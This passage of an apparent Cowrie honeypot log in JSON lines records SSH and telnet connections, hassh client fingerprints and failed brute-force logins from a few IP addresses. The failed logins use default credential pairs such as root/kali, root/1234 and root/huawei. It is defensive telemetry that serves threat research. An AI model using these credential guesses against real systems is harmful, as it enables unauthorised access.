@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:49.359999Z","src_ip":"43.130.36.39","session":"fdd3c8b099f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tp","password":"tp","message":"login attempt [tp/tp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:49.666137Z","src_ip":"43.130.36.39","session":"fdd3c8b099f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49786,"dst_ip":"10.17.0.5","dst_port":22,"session":"93e3ffc551c2","protocol":"ssh","message":"New connection: 45.153.34.112:49786 (10.17.0.5:22) [session: 93e3ffc551c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:50.088729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:50.093768Z","src_ip":"45.153.34.112","session":"93e3ffc551c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:50.196329Z","src_ip":"45.153.34.112","session":"93e3ffc551c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"123","message":"login attempt [nexus/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:50.638099Z","src_ip":"45.153.34.112","session":"93e3ffc551c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:50.737885Z","src_ip":"43.130.36.39","session":"fdd3c8b099f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.53684878349304,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:51.010105Z","src_ip":"192.119.13.58","session":"d8f926570849","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49154,"dst_ip":"10.17.0.5","dst_port":23,"session":"921c25c1f0be","protocol":"telnet","message":"New connection: 192.119.13.58:49154 (10.17.0.5:23) [session: 921c25c1f0be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:51.082203Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51200,"dst_ip":"10.17.0.5","dst_port":23,"session":"f09582bdb820","protocol":"telnet","message":"New connection: 192.119.13.58:51200 (10.17.0.5:23) [session: f09582bdb820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:51.562597Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:51.723680Z","src_ip":"45.153.34.112","session":"93e3ffc551c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49802,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fda949e673e","protocol":"ssh","message":"New connection: 45.153.34.112:49802 (10.17.0.5:22) [session: 1fda949e673e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:54.031852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:54.036779Z","src_ip":"45.153.34.112","session":"1fda949e673e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:54.120704Z","src_ip":"45.153.34.112","session":"1fda949e673e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.81080508232117,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:54.214351Z","src_ip":"192.119.13.58","session":"e67aa8532606","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:54.372807Z","src_ip":"45.153.34.112","session":"1fda949e673e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:55.459620Z","src_ip":"45.153.34.112","session":"1fda949e673e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43472,"dst_ip":"10.17.0.5","dst_port":23,"session":"d927e9998e44","protocol":"telnet","message":"New connection: 192.119.13.58:43472 (10.17.0.5:23) [session: d927e9998e44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:56.495182Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49830,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b902d2d1aae","protocol":"ssh","message":"New connection: 45.153.34.112:49830 (10.17.0.5:22) [session: 1b902d2d1aae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:57.609874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:57.618440Z","src_ip":"45.153.34.112","session":"1b902d2d1aae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:57.700984Z","src_ip":"45.153.34.112","session":"1b902d2d1aae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kali","message":"login attempt [root/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:57.950910Z","src_ip":"45.153.34.112","session":"1b902d2d1aae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:59.036362Z","src_ip":"45.153.34.112","session":"1b902d2d1aae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":39032,"dst_ip":"10.17.0.5","dst_port":22,"session":"71b8282ac3c7","protocol":"ssh","message":"New connection: 45.153.34.112:39032 (10.17.0.5:22) [session: 71b8282ac3c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:01.338148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:01.342828Z","src_ip":"45.153.34.112","session":"71b8282ac3c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:01.425729Z","src_ip":"45.153.34.112","session":"71b8282ac3c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:01.675125Z","src_ip":"45.153.34.112","session":"71b8282ac3c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:02.761478Z","src_ip":"45.153.34.112","session":"71b8282ac3c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.14764857292175,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:04.608898Z","src_ip":"192.119.13.58","session":"3059624a29bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":39036,"dst_ip":"10.17.0.5","dst_port":22,"session":"15f76aac6237","protocol":"ssh","message":"New connection: 45.153.34.112:39036 (10.17.0.5:22) [session: 15f76aac6237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:04.928336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:04.933139Z","src_ip":"45.153.34.112","session":"15f76aac6237","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:05.018123Z","src_ip":"45.153.34.112","session":"15f76aac6237","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:05.266439Z","src_ip":"45.153.34.112","session":"15f76aac6237","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:06.522529Z","src_ip":"45.153.34.112","session":"15f76aac6237","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":39050,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f12e36f701e","protocol":"ssh","message":"New connection: 45.153.34.112:39050 (10.17.0.5:22) [session: 8f12e36f701e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:08.549328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:08.554469Z","src_ip":"45.153.34.112","session":"8f12e36f701e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:08.637057Z","src_ip":"45.153.34.112","session":"8f12e36f701e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:09.135211Z","src_ip":"45.153.34.112","session":"8f12e36f701e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:10.220501Z","src_ip":"45.153.34.112","session":"8f12e36f701e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49458,"dst_ip":"10.17.0.5","dst_port":23,"session":"906712a20577","protocol":"telnet","message":"New connection: 192.119.13.58:49458 (10.17.0.5:23) [session: 906712a20577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:11.423974Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":60158,"dst_ip":"10.17.0.5","dst_port":22,"session":"d75710aace01","protocol":"ssh","message":"New connection: 45.153.34.112:60158 (10.17.0.5:22) [session: d75710aace01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:12.384782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:12.391052Z","src_ip":"45.153.34.112","session":"d75710aace01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:12.475795Z","src_ip":"45.153.34.112","session":"d75710aace01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei","message":"login attempt [root/huawei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:12.724962Z","src_ip":"45.153.34.112","session":"d75710aace01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:13.810590Z","src_ip":"45.153.34.112","session":"d75710aace01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":60164,"dst_ip":"10.17.0.5","dst_port":22,"session":"b518e9649246","protocol":"ssh","message":"New connection: 45.153.34.112:60164 (10.17.0.5:22) [session: b518e9649246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:15.862611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:15.867429Z","src_ip":"45.153.34.112","session":"b518e9649246","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-s